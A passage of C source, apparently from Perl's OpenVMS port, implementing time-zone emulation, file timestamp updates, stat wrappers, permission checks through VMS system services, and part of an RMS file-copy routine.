((gmtime_emulation_type || my_time(NULL)), \
(gmtime_emulation_type == 1 ? toloc_dst(secs) : \
((secs) + utc_offset_secs))))
/* my_time(), my_localtime(), my_gmtime()
* By default traffic in UTC time values, using CRTL gmtime() or
* SYS$TIMEZONE_DIFFERENTIAL to determine offset from local time zone.
* Note: We need to use these functions even when the CRTL has working
* UTC support, since they also handle C<use vmsish qw(times);>
*
* Contributed by Chuck Lane <[email protected]>
* Modified by Charles Bailey <[email protected]>
*/
/*{{{time_t my_time(time_t *timep)*/
time_t
Perl_my_time(pTHX_ time_t *timep)
{
time_t when;
struct tm *tm_p;
if (gmtime_emulation_type == 0) {
time_t base = 15 * 86400; /* 15jan71; to avoid month/year ends between */
/* results of calls to gmtime() and localtime() */
/* for same &base */
gmtime_emulation_type++;
if ((tm_p = gmtime(&base)) == NULL) { /* CRTL gmtime() is a fake */
char off[LNM$C_NAMLENGTH+1];;
gmtime_emulation_type++;
if (!vmstrnenv("SYS$TIMEZONE_DIFFERENTIAL",off,0,fildev,0)) {
gmtime_emulation_type++;
utc_offset_secs = 0;
Perl_warn(aTHX_ "no UTC offset information; assuming local time is UTC");
}
else { utc_offset_secs = atol(off); }
}
else { /* We've got a working gmtime() */
struct tm gmt, local;
gmt = *tm_p;
tm_p = localtime(&base);
local = *tm_p;
utc_offset_secs = (local.tm_mday - gmt.tm_mday) * 86400;
utc_offset_secs += (local.tm_hour - gmt.tm_hour) * 3600;
utc_offset_secs += (local.tm_min - gmt.tm_min) * 60;
utc_offset_secs += (local.tm_sec - gmt.tm_sec);
}
}
when = time(NULL);
# ifdef VMSISH_TIME
if (VMSISH_TIME) when = _toloc(when);
# endif
if (timep != NULL) *timep = when;
return when;
} /* end of my_time() */
/*}}}*/
/*{{{struct tm *my_gmtime(const time_t *timep)*/
struct tm *
Perl_my_gmtime(pTHX_ const time_t *timep)
{
time_t when;
struct tm *rsltmp;
if (timep == NULL) {
set_errno(EINVAL); set_vaxc_errno(LIB$_INVARG);
return NULL;
}
if (*timep == 0) gmtime_emulation_type = 0; /* possibly reset TZ */
when = *timep;
# ifdef VMSISH_TIME
if (VMSISH_TIME) when = _toutc(when); /* Input was local time */
# endif
return gmtime(&when);
} /* end of my_gmtime() */
/*}}}*/
/*{{{struct tm *my_localtime(const time_t *timep)*/
struct tm *
Perl_my_localtime(pTHX_ const time_t *timep)
{
time_t when;
if (timep == NULL) {
set_errno(EINVAL); set_vaxc_errno(LIB$_INVARG);
return NULL;
}
if (*timep == 0) gmtime_emulation_type = 0; /* possibly reset TZ */
if (gmtime_emulation_type == 0) my_time(NULL); /* Init UTC */
when = *timep;
# ifdef VMSISH_TIME
if (VMSISH_TIME) when = _toutc(when);
# endif
/* CRTL localtime() wants UTC as input, does tz correction itself */
return localtime(&when);
} /* end of my_localtime() */
/*}}}*/
/* Reset definitions for later calls */
#define gmtime(t) my_gmtime(t)
#define localtime(t) my_localtime(t)
#define time(t) my_time(t)
/* my_utime - update modification/access time of a file
*
* Only the UTC translation is home-grown. The rest is handled by the
* CRTL utime(), which will take into account the relevant feature
* logicals and ODS-5 volume characteristics for true access times.
*
*/
/* Adjustment from Unix epoch (01-JAN-1970 00:00:00.00)
* to VMS epoch (01-JAN-1858 00:00:00.00)
* in 100 ns intervals.
*/
static const long int utime_baseadjust[2] = { 0x4beb4000, 0x7c9567 };
/*{{{int my_utime(const char *path, const struct utimbuf *utimes)*/
int
Perl_my_utime(pTHX_ const char *file, const struct utimbuf *utimes)
{
struct utimbuf utc_utimes, *utc_utimesp;
if (utimes != NULL) {
utc_utimes.actime = utimes->actime;
utc_utimes.modtime = utimes->modtime;
# ifdef VMSISH_TIME
/* If input was local; convert to UTC for sys svc */
if (VMSISH_TIME) {
utc_utimes.actime = _toutc(utimes->actime);
utc_utimes.modtime = _toutc(utimes->modtime);
}
# endif
utc_utimesp = &utc_utimes;
}
else {
utc_utimesp = NULL;
}
return utime(file, utc_utimesp);
} /* end of my_utime() */
/*}}}*/
/*
* flex_stat, flex_lstat, flex_fstat
* basic stat, but gets it right when asked to stat
* a Unix-style path ending in a directory name (e.g. dir1/dir2/dir3)
*/
#ifndef _USE_STD_STAT
/* encode_dev packs a VMS device name string into an integer to allow
* simple comparisons. This can be used, for example, to check whether two
* files are located on the same device, by comparing their encoded device
* names. Even a string comparison would not do, because stat() reuses the
* device name buffer for each call; so without encode_dev, it would be
* necessary to save the buffer and use strcmp (this would mean a number of
* changes to the standard Perl code, to say nothing of what a Perl script
* would have to do.
*
* The device lock id, if it exists, should be unique (unless perhaps compared
* with lock ids transferred from other nodes). We have a lock id if the disk is
* mounted cluster-wide, which is when we tend to get long (host-qualified)
* device names. Thus we use the lock id in preference, and only if that isn't
* available, do we try to pack the device name into an integer (flagged by
* the sign bit (LOCKID_MASK) being set).
*
* Note that encode_dev cannot guarantee an 1-to-1 correspondence twixt device
* name and its encoded form, but it seems very unlikely that we will find
* two files on different disks that share the same encoded device names,
* and even more remote that they will share the same file id (if the test
* is to check for the same file).
*
* A better method might be to use sys$device_scan on the first call, and to
* search for the device, returning an index into the cached array.
* The number returned would be more intelligible.
* This is probably not worth it, and anyway would take quite a bit longer
* on the first call.
*/
#define LOCKID_MASK 0x80000000 /* Use 0 to force device name use only */
static mydev_t
encode_dev (pTHX_ const char *dev)
{
int i;
unsigned long int f;
mydev_t enc;
char c;
const char *q;
if (!dev || !dev[0]) return 0;
#if LOCKID_MASK
{
struct dsc$descriptor_s dev_desc;
unsigned long int status, lockid = 0, item = DVI$_LOCKID;
/* For cluster-mounted disks, the disk lock identifier is unique, so we
can try that first. */
dev_desc.dsc$w_length = strlen (dev);
dev_desc.dsc$b_dtype = DSC$K_DTYPE_T;
dev_desc.dsc$b_class = DSC$K_CLASS_S;
dev_desc.dsc$a_pointer = (char *) dev; /* Read only parameter */
status = lib$getdvi(&item, 0, &dev_desc, &lockid, 0, 0);
if (!$VMS_STATUS_SUCCESS(status)) {
switch (status) {
case SS$_NOSUCHDEV:
SETERRNO(ENODEV, status);
return 0;
default:
_ckvmssts(status);
}
}
if (lockid) return (lockid & ~LOCKID_MASK);
}
#endif
/* Otherwise we try to encode the device name */
enc = 0;
f = 1;
i = 0;
for (q = dev + strlen(dev); q--; q >= dev) {
if (*q == ':')
break;
if (isdigit (*q))
c= (*q) - '0';
else if (isALPHA_A(toUPPER_A(*q)))
c= toupper (*q) - 'A' + (char)10;
else
continue; /* Skip '$'s */
i++;
if (i>6) break; /* 36^7 is too large to fit in an unsigned long int */
if (i>1) f *= 36;
enc += f * (unsigned long int) c;
}
return (enc | LOCKID_MASK); /* May have already overflowed into bit 31 */
} /* end of encode_dev() */
#define VMS_DEVICE_ENCODE(device_no, devname, new_dev_no) \
device_no = encode_dev(aTHX_ devname)
#else
#define VMS_DEVICE_ENCODE(device_no, devname, new_dev_no) \
device_no = new_dev_no
#endif
static int
is_null_device(const char *name)
{
if (decc_bug_devnull != 0) {
if (strBEGINs(name, "/dev/null"))
return 1;
}
/* The VMS null device is named "_NLA0:", usually abbreviated as "NL:".
The underscore prefix, controller letter, and unit number are
independently optional; for our purposes, the colon punctuation
is not. The colon can be trailed by optional directory and/or
filename, but two consecutive colons indicates a nodename rather
than a device. [pr] */
if (*name == '_') ++name;
if (toLOWER_L1(*name++) != 'n') return 0;
if (toLOWER_L1(*name++) != 'l') return 0;
if (toLOWER_L1(*name) == 'a') ++name;
if (*name == '0') ++name;
return (*name++ == ':') && (*name != ':');
}
static int
Perl_flex_stat_int(pTHX_ const char *fspec, Stat_t *statbufp, int lstat_flag);
#define flex_stat_int(a,b,c) Perl_flex_stat_int(aTHX_ a,b,c)
static I32
Perl_cando_by_name_int(pTHX_ I32 bit, bool effective, const char *fname, int opts)
{
char usrname[L_cuserid];
struct dsc$descriptor_s usrdsc =
{0, DSC$K_DTYPE_T, DSC$K_CLASS_S, usrname};
char *vmsname = NULL, *fileified = NULL;
unsigned long int objtyp = ACL$C_FILE, access, retsts, privused, iosb[2], flags;
unsigned short int retlen, trnlnm_iter_count;
struct dsc$descriptor_s namdsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
union prvdef curprv;
struct itmlst_3 armlst[4] = {{sizeof access, CHP$_ACCESS, &access, &retlen},
{sizeof privused, CHP$_PRIVUSED, &privused, &retlen},
{sizeof flags, CHP$_FLAGS, &flags, &retlen},{0,0,0,0}};
struct itmlst_3 jpilst[3] = {{sizeof curprv, JPI$_CURPRIV, &curprv, &retlen},
{sizeof usrname, JPI$_USERNAME, &usrname, &usrdsc.dsc$w_length},
{0,0,0,0}};
struct itmlst_3 usrprolst[2] = {{sizeof curprv, CHP$_PRIV, &curprv, &retlen},
{0,0,0,0}};
struct dsc$descriptor_s usrprodsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
Stat_t st;
static int profile_context = -1;
if (!fname || !*fname) return FALSE;
/* Make sure we expand logical names, since sys$check_access doesn't */
fileified = (char *)PerlMem_malloc(VMS_MAXRSS);
if (fileified == NULL) _ckvmssts_noperl(SS$_INSFMEM);
if (!strpbrk(fname,"/]>:")) {
my_strlcpy(fileified, fname, VMS_MAXRSS);
trnlnm_iter_count = 0;
while (!strpbrk(fileified,"/]>:") && my_trnlnm(fileified,fileified,0)) {
trnlnm_iter_count++;
if (trnlnm_iter_count >= PERL_LNM_MAX_ITER) break;
}
fname = fileified;
}
vmsname = (char *)PerlMem_malloc(VMS_MAXRSS);
if (vmsname == NULL) _ckvmssts_noperl(SS$_INSFMEM);
if ( !(opts & PERL_RMSEXPAND_M_VMS_IN) ) {
/* Don't know if already in VMS format, so make sure */
if (!do_rmsexpand(fname, vmsname, 0, NULL, PERL_RMSEXPAND_M_VMS, NULL, NULL)) {
PerlMem_free(fileified);
PerlMem_free(vmsname);
return FALSE;
}
}
else {
my_strlcpy(vmsname, fname, VMS_MAXRSS);
}
/* sys$check_access needs a file spec, not a directory spec.
* flex_stat now will handle a null thread context during startup.
*/
retlen = namdsc.dsc$w_length = strlen(vmsname);
if (vmsname[retlen-1] == ']'
|| vmsname[retlen-1] == '>'
|| vmsname[retlen-1] == ':'
|| (!flex_stat_int(vmsname, &st, 1) &&
S_ISDIR(st.st_mode))) {
if (!int_fileify_dirspec(vmsname, fileified, NULL)) {
PerlMem_free(fileified);
PerlMem_free(vmsname);
return FALSE;
}
fname = fileified;
}
else {
fname = vmsname;
}
retlen = namdsc.dsc$w_length = strlen(fname);
namdsc.dsc$a_pointer = (char *)fname;
switch (bit) {
case S_IXUSR: case S_IXGRP: case S_IXOTH:
access = ARM$M_EXECUTE;
flags = CHP$M_READ;
break;
case S_IRUSR: case S_IRGRP: case S_IROTH:
access = ARM$M_READ;
flags = CHP$M_READ | CHP$M_USEREADALL;
break;
case S_IWUSR: case S_IWGRP: case S_IWOTH:
access = ARM$M_WRITE;
flags = CHP$M_READ | CHP$M_WRITE;
break;
case S_IDUSR: case S_IDGRP: case S_IDOTH:
access = ARM$M_DELETE;
flags = CHP$M_READ | CHP$M_WRITE;
break;
default:
if (fileified != NULL)
PerlMem_free(fileified);
if (vmsname != NULL)
PerlMem_free(vmsname);
return FALSE;
}
/* Before we call $check_access, create a user profile with the current
* process privs since otherwise it just uses the default privs from the
* UAF and might give false positives or negatives. This only works on
* VMS versions v6.0 and later since that's when sys$create_user_profile
* became available.
*/
/* get current process privs and username */
_ckvmssts_noperl(sys$getjpiw(0,0,0,jpilst,iosb,0,0));
_ckvmssts_noperl(iosb[0]);
/* find out the space required for the profile */
_ckvmssts_noperl(sys$create_user_profile(&usrdsc,&usrprolst,0,0,
&usrprodsc.dsc$w_length,&profile_context));
/* allocate space for the profile and get it filled in */
usrprodsc.dsc$a_pointer = (char *)PerlMem_malloc(usrprodsc.dsc$w_length);
if (usrprodsc.dsc$a_pointer == NULL) _ckvmssts_noperl(SS$_INSFMEM);
_ckvmssts_noperl(sys$create_user_profile(&usrdsc,&usrprolst,0,usrprodsc.dsc$a_pointer,
&usrprodsc.dsc$w_length,&profile_context));
/* use the profile to check access to the file; free profile & analyze results */
retsts = sys$check_access(&objtyp,&namdsc,0,armlst,&profile_context,0,0,&usrprodsc);
PerlMem_free(usrprodsc.dsc$a_pointer);
if (retsts == SS$_NOCALLPRIV) retsts = SS$_NOPRIV; /* not really 3rd party */
if (retsts == SS$_NOPRIV || retsts == SS$_NOSUCHOBJECT ||
retsts == SS$_INVFILFOROP || retsts == RMS$_FNF || retsts == RMS$_SYN ||
retsts == RMS$_DIR || retsts == RMS$_DEV || retsts == RMS$_DNF) {
set_vaxc_errno(retsts);
if (retsts == SS$_NOPRIV) set_errno(EACCES);
else if (retsts == SS$_INVFILFOROP) set_errno(EINVAL);
else set_errno(ENOENT);
if (fileified != NULL)
PerlMem_free(fileified);
if (vmsname != NULL)
PerlMem_free(vmsname);
return FALSE;
}
if (retsts == SS$_NORMAL || retsts == SS$_ACCONFLICT) {
if (fileified != NULL)
PerlMem_free(fileified);
if (vmsname != NULL)
PerlMem_free(vmsname);
return TRUE;
}
_ckvmssts_noperl(retsts);
if (fileified != NULL)
PerlMem_free(fileified);
if (vmsname != NULL)
PerlMem_free(vmsname);
return FALSE; /* Should never get here */
}
/* Do the permissions in *statbufp allow some operation? */
/* Do this via $Check_Access on VMS, since the CRTL stat() returns only a
* subset of the applicable information.
*/
bool
Perl_cando(pTHX_ Mode_t bit, bool effective, const Stat_t *statbufp)
{
return cando_by_name_int
(bit, effective, statbufp->st_devnam, PERL_RMSEXPAND_M_VMS_IN);
} /* end of cando() */
/*}}}*/
/*{{{I32 cando_by_name(I32 bit, bool effective, char *fname)*/
I32
Perl_cando_by_name(pTHX_ I32 bit, bool effective, const char *fname)
{
return cando_by_name_int(bit, effective, fname, 0);
} /* end of cando_by_name() */
/*}}}*/
/*{{{ int flex_fstat(int fd, Stat_t *statbuf)*/
int
Perl_flex_fstat(pTHX_ int fd, Stat_t *statbufp)
{
dSAVE_ERRNO; /* fstat may set this even on success */
if (!fstat(fd, &statbufp->crtl_stat)) {
char *cptr;
char *vms_filename;
vms_filename = (char *)PerlMem_malloc(VMS_MAXRSS);
if (vms_filename == NULL) _ckvmssts(SS$_INSFMEM);
/* Save name for cando by name in VMS format */
cptr = getname(fd, vms_filename, 1);
/* This should not happen, but just in case */
if (cptr == NULL) {
statbufp->st_devnam[0] = 0;
}
else {
/* Make sure that the saved name fits in 255 characters */
cptr = int_rmsexpand_vms
(vms_filename,
statbufp->st_devnam,
0);
if (cptr == NULL)
statbufp->st_devnam[0] = 0;
}
PerlMem_free(vms_filename);
VMS_INO_T_COPY(statbufp->st_ino, statbufp->crtl_stat.st_ino);
VMS_DEVICE_ENCODE
(statbufp->st_dev, statbufp->st_devnam, statbufp->crtl_stat.st_dev);
# ifdef VMSISH_TIME
if (VMSISH_TIME) {
statbufp->st_mtime = _toloc(statbufp->st_mtime);
statbufp->st_atime = _toloc(statbufp->st_atime);
statbufp->st_ctime = _toloc(statbufp->st_ctime);
}
# endif
RESTORE_ERRNO;
return 0;
}
return -1;
} /* end of flex_fstat() */
/*}}}*/
static int
Perl_flex_stat_int(pTHX_ const char *fspec, Stat_t *statbufp, int lstat_flag)
{
char *temp_fspec = NULL;
char *fileified = NULL;
const char *save_spec;
char *ret_spec;
int retval = -1;
char efs_hack = 0;
char already_fileified = 0;
dSAVEDERRNO;
if (!fspec) {
errno = EINVAL;
return retval;
}
if (decc_bug_devnull != 0) {
if (is_null_device(fspec)) { /* Fake a stat() for the null device */
memset(statbufp,0,sizeof *statbufp);
VMS_DEVICE_ENCODE(statbufp->st_dev, "_NLA0:", 0);
statbufp->st_mode = S_IFBLK | S_IREAD | S_IWRITE | S_IEXEC;
statbufp->st_uid = 0x00010001;
statbufp->st_gid = 0x0001;
time((time_t *)&statbufp->st_mtime);
statbufp->st_atime = statbufp->st_ctime = statbufp->st_mtime;
return 0;
}
}
SAVE_ERRNO;
#if __CRTL_VER >= 80200000
/*
* If we are in POSIX filespec mode, accept the filename as is.
*/
if (!DECC_POSIX_COMPLIANT_PATHNAMES) {
#endif
/* Try for a simple stat first. If fspec contains a filename without
* a type (e.g. sea:[wine.dark]water), and both sea:[wine.dark]water.dir
* and sea:[wine.dark]water. exist, the CRTL prefers the directory here.
* Similarly, sea:[wine.dark] returns the result for sea:[wine]dark.dir,
* not sea:[wine.dark]., if the latter exists. If the intended target is
* the file with null type, specify this by calling flex_stat() with
* a '.' at the end of fspec.
*/
if (lstat_flag == 0)
retval = stat(fspec, &statbufp->crtl_stat);
else
retval = lstat(fspec, &statbufp->crtl_stat);
if (!retval) {
save_spec = fspec;
}
else {
/* In the odd case where we have write but not read access
* to a directory, stat('foo.DIR') works but stat('foo') doesn't.
*/
fileified = (char *)PerlMem_malloc(VMS_MAXRSS);
if (fileified == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
ret_spec = int_fileify_dirspec(fspec, fileified, NULL);
if (ret_spec != NULL) {
if (lstat_flag == 0)
retval = stat(fileified, &statbufp->crtl_stat);
else
retval = lstat(fileified, &statbufp->crtl_stat);
save_spec = fileified;
already_fileified = 1;
}
}
if (retval && vms_bug_stat_filename) {
temp_fspec = (char *)PerlMem_malloc(VMS_MAXRSS);
if (temp_fspec == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
/* We should try again as a vmsified file specification. */
ret_spec = int_tovmsspec(fspec, temp_fspec, 0, NULL);
if (ret_spec != NULL) {
if (lstat_flag == 0)
retval = stat(temp_fspec, &statbufp->crtl_stat);
else
retval = lstat(temp_fspec, &statbufp->crtl_stat);
save_spec = temp_fspec;
}
}
if (retval) {
/* Last chance - allow multiple dots without EFS CHARSET */
/* The CRTL stat() falls down hard on multi-dot filenames in unix
* format unless * DECC$EFS_CHARSET is in effect, so temporarily
* enable it if it isn't already.
*/
if (!DECC_EFS_CHARSET && (efs_charset_index > 0))
decc$feature_set_value(efs_charset_index, 1, 1);
if (lstat_flag == 0)
retval = stat(fspec, &statbufp->crtl_stat);
else
retval = lstat(fspec, &statbufp->crtl_stat);
save_spec = fspec;
if (!DECC_EFS_CHARSET && (efs_charset_index > 0)) {
decc$feature_set_value(efs_charset_index, 1, 0);
efs_hack = 1;
}
}
#if __CRTL_VER >= 80200000
} else {
if (lstat_flag == 0)
retval = stat(temp_fspec, &statbufp->crtl_stat);
else
retval = lstat(temp_fspec, &statbufp->crtl_stat);
save_spec = temp_fspec;
}
#endif
/* As you were... */
if (!DECC_EFS_CHARSET)
decc$feature_set_value(efs_charset_index,1,0);
if (!retval) {
char *cptr;
int rmsex_flags = PERL_RMSEXPAND_M_VMS;
/* If this is an lstat, do not follow the link */
if (lstat_flag)
rmsex_flags |= PERL_RMSEXPAND_M_SYMLINK;
/* If we used the efs_hack above, we must also use it here for */
/* perl_cando to work */
if (efs_hack && (efs_charset_index > 0)) {
decc$feature_set_value(efs_charset_index, 1, 1);
}
/* If we've got a directory, save a fileified, expanded version of it
* in st_devnam. If not a directory, just an expanded version.
*/
if (S_ISDIR(statbufp->st_mode) && !already_fileified) {
fileified = (char *)PerlMem_malloc(VMS_MAXRSS);
if (fileified == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
cptr = do_fileify_dirspec(save_spec, fileified, 0, NULL);
if (cptr != NULL)
save_spec = fileified;
}
cptr = int_rmsexpand(save_spec,
statbufp->st_devnam,
NULL,
rmsex_flags,
0,
0);
if (efs_hack && (efs_charset_index > 0)) {
decc$feature_set_value(efs_charset_index, 1, 0);
}
/* Fix me: If this is NULL then stat found a file, and we could */
/* not convert the specification to VMS - Should never happen */
if (cptr == NULL)
statbufp->st_devnam[0] = 0;
VMS_INO_T_COPY(statbufp->st_ino, statbufp->crtl_stat.st_ino);
VMS_DEVICE_ENCODE
(statbufp->st_dev, statbufp->st_devnam, statbufp->crtl_stat.st_dev);
# ifdef VMSISH_TIME
if (VMSISH_TIME) {
statbufp->st_mtime = _toloc(statbufp->st_mtime);
statbufp->st_atime = _toloc(statbufp->st_atime);
statbufp->st_ctime = _toloc(statbufp->st_ctime);
}
# endif
}
/* If we were successful, leave errno where we found it */
if (retval == 0) RESTORE_ERRNO;
if (temp_fspec)
PerlMem_free(temp_fspec);
if (fileified)
PerlMem_free(fileified);
return retval;
} /* end of flex_stat_int() */
/*{{{ int flex_stat(const char *fspec, Stat_t *statbufp)*/
int
Perl_flex_stat(pTHX_ const char *fspec, Stat_t *statbufp)
{
return flex_stat_int(fspec, statbufp, 0);
}
/*}}}*/
/*{{{ int flex_lstat(const char *fspec, Stat_t *statbufp)*/
int
Perl_flex_lstat(pTHX_ const char *fspec, Stat_t *statbufp)
{
return flex_stat_int(fspec, statbufp, 1);
}
/*}}}*/
/* rmscopy - copy a file using VMS RMS routines
*
* Copies contents and attributes of spec_in to spec_out, except owner
* and protection information. Name and type of spec_in are used as
* defaults for spec_out. The third parameter specifies whether rmscopy()
* should try to propagate timestamps from the input file to the output file.
* If it is less than 0, no timestamps are preserved. If it is 0, then
* rmscopy() will behave similarly to the DCL COPY command: timestamps are
* propagated to the output file at creation iff the output file specification
* did not contain an explicit name or type, and the revision date is always
* updated at the end of the copy operation. If it is greater than 0, then
* it is interpreted as a bitmask, in which bit 0 indicates that timestamps
* other than the revision date should be propagated, and bit 1 indicates
* that the revision date should be propagated.
*
* Returns 1 on success; returns 0 and sets errno and vaxc$errno on failure.
*
* Copyright 1996 by Charles Bailey <[email protected]>.
* Incorporates, with permission, some code from EZCOPY by Tim Adye
* <[email protected]>. Permission is given to distribute this code
* as part of the Perl standard distribution under the terms of the
* GNU General Public License or the Perl Artistic License. Copies
* of each may be found in the Perl standard distribution.
*/ /* FIXME */
/*{{{int rmscopy(char *src, char *dst, int preserve_dates)*/
int
Perl_rmscopy(pTHX_ const char *spec_in, const char *spec_out, int preserve_dates)
{
char *vmsin, * vmsout, *esa, *esal, *esa_out, *esal_out,
*rsa, *rsal, *rsa_out, *rsal_out, *ubf;
unsigned long int sts;
int dna_len;
struct FAB fab_in, fab_out;
struct RAB rab_in, rab_out;
rms_setup_nam(nam);
rms_setup_nam(nam_out);
struct XABDAT xabdat;
struct XABFHC xabfhc;
struct XABRDT xabrdt;
struct XABSUM xabsum;
vmsin = (char *)PerlMem_malloc(VMS_MAXRSS);
if (vmsin == NULL) _ckvmssts_noperl(SS$_INSFMEM);
vmsout = (char *)PerlMem_malloc(VMS_MAXRSS);
if (vmsout == NULL) _ckvmssts_noperl(SS$_INSFMEM);
if (!spec_in || !*spec_in || !int_tovmsspec(spec_in, vmsin, 1, NULL) ||
!spec_out || !*spec_out || !int_tovmsspec(spec_out, vmsout, 1, NULL)) {
PerlMem_free(vmsin);
PerlMem_free(vmsout);
set_errno(EINVAL); set_vaxc_errno(LIB$_INVARG);
return 0;
}
esa = (char *)PerlMem_malloc(VMS_MAXRSS);
if (esa == NULL) _ckvmssts_noperl(SS$_INSFMEM);
esal = NULL;
#if defined(NAML$C_MAXRSS)
esal = (char *)PerlMem_malloc(VMS_MAXRSS);
if (esal == NULL) _ckvmssts_noperl(SS$_INSFMEM);
#endif
fab_in = cc$rms_fab;
rms_set_fna(fab_in, nam, vmsin, strlen(vmsin));
fab_in.fab$b_shr = FAB$M_SHRPUT | FAB$M_UPI;
fab_in.fab$b_fac = FAB$M_BIO | FAB$M_GET;
fab_in.fab$l_fop = FAB$M_SQO;
rms_bind_fab_nam(fab_in, nam);
fab_in.fab$l_xab = (void *) &xabdat;
rsa = (char *)PerlMem_malloc(VMS_MAXRSS);
if (rsa == NULL) _ckvmssts_noperl(SS$_INSFMEM);
rsal = NULL;
#if defined(NAML$C_MAXRSS)
rsal = (char *)PerlMem_malloc(VMS_MAXRSS);
if (rsal == NULL) _ckvmssts_noperl(SS$_INSFMEM);
#endif
rms_set_rsal(nam, rsa, NAM$C_MAXRSS, rsal, (VMS_MAXRSS - 1));
rms_set_esal(nam, esa, NAM$C_MAXRSS, esal, (VMS_MAXRSS - 1));
rms_nam_esl(nam) = 0;
rms_nam_rsl(nam) = 0;
rms_nam_esll(nam) = 0;
rms_nam_rsll(nam) = 0;
#ifdef NAM$M_NO_SHORT_UPCASE
if (DECC_EFS_CASE_PRESERVE)
rms_set_nam_nop(nam, NAM$M_NO_SHORT_UPCASE);
#endif
xabdat = cc$rms_xabdat; /* To get creation date */
xabdat.xab$l_nxt = (void *) &xabfhc;
xabfhc = cc$rms_xabfhc; /* To get record length */
xabfhc.xab$l_nxt = (void *) &xabsum;
xabsum = cc$rms_xabsum; /* To get key and area information */
if (!((sts = sys$open(&fab_in)) & 1)) {
PerlMem_free(vmsin);
PerlMem_free(vmsout);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(rsa);
if (rsal != NULL)
PerlMem_free(rsal);
set_vaxc_errno(sts);
switch (sts) {
case RMS$_FNF: case RMS$_DNF:
set_errno(ENOENT); break;
case RMS$_DIR:
set_errno(ENOTDIR); break;
case RMS$_DEV:
set_errno(ENODEV); break;
case RMS$_SYN:
set_errno(EINVAL); break;
case RMS$_PRV:
set_errno(EACCES); break;
default:
set_errno(EVMSERR);
}
return 0;
}
nam_out = nam;
fab_out = fab_in;
fab_out.fab$w_ifi = 0;
fab_out.fab$b_fac = FAB$M_BIO | FAB$M_PUT;
fab_out.fab$b_shr = FAB$M_SHRGET | FAB$M_UPI;
fab_out.fab$l_fop = FAB$M_SQO;
rms_bind_fab_nam(fab_out, nam_out);
rms_set_fna(fab_out, nam_out, vmsout, strlen(vmsout));
dna_len = rms_nam_namel(nam) ? rms_nam_name_type_l_size(nam) : 0;
rms_set_dna(fab_out, nam_out, rms_nam_namel(nam), dna_len);
esa_out = (char *)PerlMem_malloc(NAM$C_MAXRSS + 1);
if (esa_out == NULL) _ckvmssts_noperl(SS$_INSFMEM);
rsa_out = (char *)PerlMem_malloc(NAM$C_MAXRSS + 1);
if (rsa_out == NULL) _ckvmssts_noperl(SS$_INSFMEM);
esal_out = NULL;
rsal_out = NULL;
#if defined(NAML$C_MAXRSS)
esal_out = (char *)PerlMem_malloc(VMS_MAXRSS);
if (esal_out == NULL) _ckvmssts_noperl(SS$_INSFMEM);
rsal_out = (char *)PerlMem_malloc(VMS_MAXRSS);
if (rsal_out == NULL) _ckvmssts_noperl(SS$_INSFMEM);
#endif
rms_set_rsal(nam_out, rsa_out, NAM$C_MAXRSS, rsal_out, (VMS_MAXRSS - 1));
rms_set_esal(nam_out, esa_out, NAM$C_MAXRSS, esal_out, (VMS_MAXRSS - 1));
if (preserve_dates == 0) { /* Act like DCL COPY */
rms_set_nam_nop(nam_out, NAM$M_SYNCHK);
fab_out.fab$l_xab = NULL; /* Don't disturb data from input file */
if (!((sts = sys$parse(&fab_out)) & STS$K_SUCCESS)) {
PerlMem_free(vmsin);
PerlMem_free(vmsout);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(rsa);
if (rsal != NULL)
PerlMem_free(rsal);
PerlMem_free(esa_out);
if (esal_out != NULL)
PerlMem_free(esal_out);
PerlMem_free(rsa_out);
if (rsal_out != NULL)
PerlMem_free(rsal_out);
set_errno(sts == RMS$_SYN ? EINVAL : EVMSERR);
set_vaxc_errno(sts);
return 0;
}
fab_out.fab$l_xab = (void *) &xabdat;
if (rms_is_nam_fnb(nam, NAM$M_EXP_NAME | NAM$M_EXP_TYPE))
preserve_dates = 1;
}
if (preserve_dates < 0) /* Clear all bits; we'll use it as a */
preserve_dates =0; /* bitmask from this point forward */
if (!(preserve_dates & 1)) fab_out.fab$l_xab = (void *) &xabfhc;
if (!((sts = sys$create(&fab_out)) & STS$K_SUCCESS)) {
PerlMem_free(vmsin);
PerlMem_free(vmsout);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(rsa);
if (rsal != NULL)
PerlMem_free(rsal);
PerlMem_free(esa_out);
if (esal_out != NULL)
PerlMem_free(esal_out);
PerlMem_free(rsa_out);
if (rsal_out != NULL)
PerlMem_free(rsal_out);
set_vaxc_errno(sts);
switch (sts) {
case RMS$_DNF:
set_errno(ENOENT); break;
case RMS$_DIR:
set_errno(ENOTDIR); break;
case RMS$_DEV:
set_errno(ENODEV); break;
case RMS$_SYN:
set_errno(EINVAL); break;
case RMS$_PRV:
set_errno(EACCES); break;
default:
set_errno(EVMSERR);
}
return 0;
}
fab_out.fab$l_fop |= FAB$M_DLT; /* in case we have to bail out */
if (preserve_dates & 2) {
/* sys$close() will process xabrdt, not xabdat */
xabrdt = cc$rms_xabrdt;
xabrdt.xab$q_rdt = xabdat.xab$q_rdt;
fab_out.fab$l_xab = (void *) &xabrdt;
}
ubf = (char *)PerlMem_malloc(32256);
if (ubf == NULL) _ckvmssts_noperl(SS$_INSFMEM);
rab_in = cc$rms_rab;
rab_in.rab$l_fab = &fab_in;
rab_in.rab$l_rop = RAB$M_BIO;
rab_in.rab$l_ubf = ubf;
rab_in.rab$w_usz = 32256;
if (!((sts = sys$connect(&rab_in)) & 1)) {
sys$close(&fab_in); sys$close(&fab_out);
PerlMem_free(vmsin);
PerlMem_free(vmsout);
PerlMem_free(ubf);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(rsa);
if (rsal != NULL)
PerlMem_free(rsal);
PerlMem_free(esa_out);
if (esal_out != NULL)
PerlMem_free(esal_out);
PerlMem_free(rsa_out);
if (rsal_out != NULL)
PerlMem_free(rsal_out);
set_errno(EVMSERR); set_vaxc_errno(sts);
return 0;
}
rab_out = cc$rms_rab;
rab_out.rab$l_fab = &fab_out;
rab_out.rab$l_rbf = ubf;
if (!((sts = sys$connect(&rab_out)) & 1)) {
sys$close(&fab_in); sys$close(&fab_out);
PerlMem_free(vmsin);
PerlMem_free(vmsout);
